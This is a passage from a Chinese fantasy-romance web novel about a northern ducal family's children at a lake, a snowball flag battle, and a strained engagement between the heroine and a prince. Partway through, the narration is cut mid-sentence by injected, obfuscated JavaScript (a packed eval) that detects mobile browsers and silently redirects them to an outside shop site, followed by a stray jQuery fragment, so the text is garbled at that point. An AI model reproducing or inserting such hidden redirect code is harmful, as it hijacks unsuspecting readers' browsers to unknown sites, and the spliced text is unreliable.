兰纳斯城来的人很快分成好几个队伍,散到北境各地开始干活。
这些跟欧特维尔家的孩子们没什么关系,格雷伊特意挑了和这些人完全相反的方向,带着金币公子和王子殿下在外游玩。
祖宅不远处有一湖泊,湖面常年雾霭氤氲,只在为数不多的好天气露出真容。
比如今天,水质清澈,透过冰面还可以观赏湖底深处,如果不是最近天气回暖,还可以在附近的湖面上漫步。
孩子们在湖边搭了个临时营地,格雷伊带着弟弟们和妮娜以顺时针方向寻找野味,特意安排安宁和雷恩从逆时针方向去散心。
哈,散心,亏他们想的出来!她和王子看起来像是关系很好的一对小情侣吗?
就连身后跟着的侍从们都保持了不近不远的距离,安宁给苍苔老师打了好几个手势让他想想办法,但都被无视了。
她好心烦。
本来一天的好心情从早饭对着雷恩那张脸开始就没了,现在还得陪着笑去散步。
要不考虑下装病,但装一个月不现实啊……
雷恩自然看出来未婚妻对他不待见,心里也在思索该如何打开话题,天气已经聊过了,她愿意搭腔,恐怕也只有北境了。
王国的四大公爵领地各有特色,东有地下城,西有龙穴,南有海族,表面上看起来各有各的麻烦,可地下城里能找到古代遗物和财富,龙生来也是好战和爱财的生物,想要驯龙或者龙蛋,龙族素材的人比比皆是,就连海族都会有海鲜和其他灰色交易;
虽然管理起来各有各的麻烦,三家领地却也算在正常运转。
北境的情况则完全不同,邪魔带来了王国的关注,而北境却因邪魔的死气变得晦暗,如果将北境比喻成心脏,那正是邪魔肮脏的血液在使北境运转——
北境气候不好,当地也几乎没有高质量的谋生产业,年轻的居民后代都在外地打工发展,但邪魔需要镇压,除了佣兵,各地也会将罪犯们当做耗材送过来,同时按时送来的还有大量必需物资——
所以北境领地虽然能算得上在运转,却不是自主的,正面的。
想在这种地方开展旅游业,不太现实。
如果他明说,她会生气吗?雷恩带有探究意味地看向未婚妻的侧脸。
安宁重重一脚踩在雪地里,这诡异的沉默她真是受够了,暂且先假装昨天阳台的事情没有发生吧,“……还请您不要期待太高,没有为您准备什么丰富多彩的节目。”
雷恩轻轻摇头,“能这样出来一起散散步,我已经很满足了。”
“……”哇说的跟真的一样,不愧是王子哈,什么场面都能应对呢,安宁实在不想面对他,急吼吼地向前走去。
跟在后头的雷恩凝望着澄澈平静的湖面,唇角漾开浅浅的笑意,“湖景让我想到你昨天穿的那套礼服。”
安宁脚下一滑差点没稳住身形,她今天穿的可是厚实骑装,虽然也是骑马裙,但跟昨天那套比起来可差远了。
雷恩似乎也想到这点,脸上笑容依旧,“这套也很好看,更适合你。”
这套骑装也是安宁最喜欢的,只有马裤的话就更好了,安宁勉强回应道:“您的眼睛也与这片湖泊相得益彰。”
雷恩还以为他和安宁达不成什么共识了,听到这话他心底泛起淡淡的欢喜,唇角舒展开来,脸上绽开比方才更加明朗的笑意,看得安宁匆匆转过头去……她为什么要转头?有什么不能看的!
她再次回头,远处传来“轰”的巨响——
安宁短暂开金瞳看了眼那个方向,黑色的蘑菇云越来越明显了。
雷恩敏锐地察觉到她的低落,试探开口,“不知道凯瑟琳夫人能不能在今天找到她想要的商机。”
安宁耸了耸肩,找到块结实的石头随手拂去上面的松针后坐下,“谁知道呢,只盼她最好不要炸出来什么不该出现的东西。”
雷恩疑惑,坐到安宁旁边的石头上,“你是说邪魔?”据他所知今年的冬狩已经结束了啊?
安宁淡淡道:“北境没有什么谋生的好项目,除非你能打抗冻,冬狩的时间能占一年的四分之三,直到雪线一直往后退,最后的地毯式搜索连最阴湿的角落都不会放过,除非有些失了智的邪魔掉到了冰隙里。”
“父亲想要做出改变,只是我想连他自己都不确定,这样做到底是不是真的对北境好,我们也只能希望会有个好结果,如果不是,那我们就做到相对正确的事,保护好大家。”
安宁也不知道自己为什么要和雷恩说这些,她看着黑烟袅袅的远方,其实不外乎两种结果,要么发财要么竹篮打水一场空。
气氛一下有些沉闷,雷恩摘下手套抓起一把白雪,“……昨天的事,我总觉得光是那样不足以表现我的歉意。”
他展开手心,雪花在风的操控下翩跹起舞,化作一只只小鹿缓步穿行于林间,围着粗壮的橡树肆意奔跑嬉闹。
安宁有些动容,不是心疼某人冻得发红的手,只是想到偶尔会做到的关于密弥尔的梦,唉。
可惜了小王子,要是换个女孩子已经被你迷死了。
安宁站起来理了理裙装,“很可爱,谢谢您的心意,时间差不多了,我们回去吧。”
“……嗯。”雷恩垂下眼,眼底的光亮黯淡了几分,一丝不易察觉的失落漫上他的心头。
果然格雷伊他们已经回到了营地,妮娜觉得安宁和王子之间的气氛缓和了些,总的来说是个好兆头。
出来玩嘛,吃得也没多讲究,以防万一也从家里的厨房带了些现成的,吃饱喝足休息会儿后,艾德蒙和金斯利想找点乐子。
艾德蒙,“兄弟姐妹们来打雪仗吧!”
怀特有些恨铁不成钢地看向他,他还想着自由活动,背着鲁特琴找个安静的角落搞创作呢,他小声朝格雷伊和妮娜吐槽,“……你们说他那个脑子,金斯利就算了王子还在呢,他想半天就想到个打雪仗?他可真行!”
苍苔在他们背后凉飕飕道:“我倒有个不那么幼稚的主意,各位已经好几天没去训练场上流过汗了吧?”
怀特放下手中的琴弹射起步,“哇太好了打雪仗!走走走,我们去打雪仗吧!来商量下怎么分组!”
显而易见的是,安宁被分到了雷恩那组,安宁实在受不了了,“我看殿下还要回去温书,不如算……”
雷恩笑眯眯道:“看起来很好玩的样子,当然是算我一个。”
安宁还在挣扎,“不抽签吗?格雷伊就算了,你们几个谁的准头能赢过我?殿下还会使用风系魔法,你们不觉得不公平吗?”
金斯利打了个响指,一撮火苗出现在他指尖,艾德蒙搭着他的肩膀贼笑道:“不觉得啊?今天就让你薇薇安娜知道!什么叫做强中自有强中手!”
“……”人在无语的时候真的会笑,安宁看他俩勾肩搭背的样子,都有点不忍心下重手了,算了今天让孩子开心点吧。
但是艾德蒙还在加码,“听好了安娜!比赛的胜者可以让败者满足一个愿望!”
哦?
那还说什么?
安宁,“老规矩吗?”
艾德蒙,“老规矩!”
安宁抓着雷恩的衣袖拖走了他。
艾德蒙也给金斯利做动员,“兄弟!我能不能打翻身仗就看你了!”
金斯利有些后悔,“兄弟,你也没说赌这么大啊?你们一般都下什么注?”
怀特仰天大笑,“非要说的话那就是艾德蒙的心酸史,他的小金库只是起步价,最后还给薇薇安娜当仆人穿女装当替身了!”
被揭短的艾德蒙脸都红了,“那都是过去式了!这一次我要夺回属于我的一切!”
……
“……你是说,你们的脸变成这样都是打雪仗打的?”
凯瑟琳夫人双手捧着金斯利的脸,儿子脸上青一块紫一块的,再看看更严重的欧特维尔家小儿子,那可真是亲生的兄弟,下手更狠,满头大包。
“抱歉夫人,我们是在湖区周围打雪仗,三队人各有一个营地,插了面旗帜做标志,所以实际上应该是夺旗战,理论上可以选择两个人固守据点,也可以两个人都放弃据点,直接去偷袭别的营地。”
格雷伊必须解释些什么,但是话越说越显得是这两孩子自己害了自己,“但今天不凑巧,我和怀特一队,艾德蒙和金斯利一队,我们觉得应该合作先去找最强的王子和安娜,结果……额,王子背着安娜飞在天上用雪球轰炸我们…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17867462|212228||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
…我和怀特被砸了几下就投降了,他俩就,额……”
金斯利原本还能用火系魔法融化掉些雪球,奈何安宁他们弹药充足,最后艾德蒙顽强地挡在金斯利面前不抛弃,不放弃,还想带头冲锋拿下旗帜。
结果被重点照顾,金斯利看到同伴的“牺牲”一时也没控制住,也被打爆了。
严格来说是他上头的弟弟拖累了人家。
金斯利尴尬挠头,“当时我还以为我能赢呢。”
凯瑟琳夫人下颌微微收紧,试图拼命压下快要溢出来的笑意,脸颊却悄悄泛起一丝浅淡的弧度,“原来如此,嗯,我觉得没事,孩子们活泼点总是好的。”
奥莉维娅妈妈就没这么宽容了,她走到雷恩王子面前站定,对着躲在王子背后的女儿道:“薇薇安娜·欧特维尔,你这次太过分了,去你该去的地方好好反省!”
安宁独自来到密室下的老祭坛。
她还在回味下午的雪仗,那家伙确实有两把刷子,谁能想到风系魔法竟然在组合雪球上有妙用呢?这招真的很不错赐名【无限雪弹】,而且用魔法组合的雪球包裹得更紧实,实际打在人身上也更痛,嗯,看来如果他们没走前再想打雪仗就得来禁魔赛了。
安宁闭上眼睛,冥想养神。
不知过了多久,她听到有人过来了。
小橘如她所想跑过去看了看,【共感】下她通过小橘的眼看到,来的人竟是下午的战友,还给她带了食物。
雷恩看到安宁跪坐在密弥尔的神像前。
她都没有来得及换衣服,裙摆下围因为雪地里的活动有些脏污,更别提她下午还疯玩了一阵,原本盘好的头发现在重新扎成马尾,亮晶晶的眼睛直勾勾地盯着他手里的蔬菜沙拉,当然还有切好的肉和面包。
雷恩一边把盘子递给她,一边把蜡烛放在神台上,最后跪坐在她旁边,双手合十对着密弥尔拜了拜。
安宁有些莫名其妙,“你跪着干嘛?”
雷恩闭着眼解释道:“我想了想,可能只有我也跪在这里,奥莉维娅夫人才会让你出来了,没有我你也闯不出祸。”
安宁差点哽住,她不仅不想和雷恩共患难,还怕奥莉维娅换别的招处罚她,比如抄书,“你最好真有这么大的面子。”
雷恩悄悄看向安宁,她说完后就认认真真咀嚼食物,看起来确实饿惨了,都没想要维护淑女形象,不过,她不装的时候确实和淑女完全搭不上边呢……
“我记得之前奥莉维娅夫人来王宫给你请过教习女官,如果我没记错的话,那位女官最喜欢罚人抄书了,我还以为奥莉维娅夫人也是如此,都准备好帮你了。”
安宁恶狠狠地咬了口面包,“那是因为艾德蒙没少帮我抄,抄多了就露馅了。”
雷恩听她说话含糊软糯的腔调,只觉怪可爱的,“那我只好陪你跪了,反正我也有责任。”
安宁吃不下去了,“……如果我没理解过的话,你是想和我搞好关系吗?”
这下轮到雷恩诧异了,他不明白,“薇薇安娜·欧特维尔,你是我的未婚妻,我想和你搞好关系会有什么问题吗?”
“……”妈耶,她起鸡皮疙瘩了。
可是啊,安宁心里想着,这不是她或者他想要搞好关系就能搞好关系的事,反正,结果已经摆在那儿了,这些都没有意义,“不必了,我们还是适合各玩各的。”
雷恩看着安宁冷漠的侧脸,透着股连眼神都吝于施舍给他的,不,不能说是傲慢,但是这种漠视让他很不舒服。
于是他开口询问,“为什么?”
安宁不答。
雷恩再接再厉,“你下午飞在天上扔雪球的时候不是很高兴吗?”
安宁还是没有回应,一码归一码,使唤他做这做那的时候别提有多爽了,但是这不一样!
她的脸色已经有些不耐,雷恩垂下的眼睫在白皙的脸上遮出一小块阴翳,他不再自讨没趣地问问题,转而在心里琢磨:这就是父亲说过的“女人心海底针”吗?
……
对了。
之前想到的那个话题。
如果不是旅游业的话,北境到底应该靠什么发展起来呢?
现在这个问题,他更想知道答案了。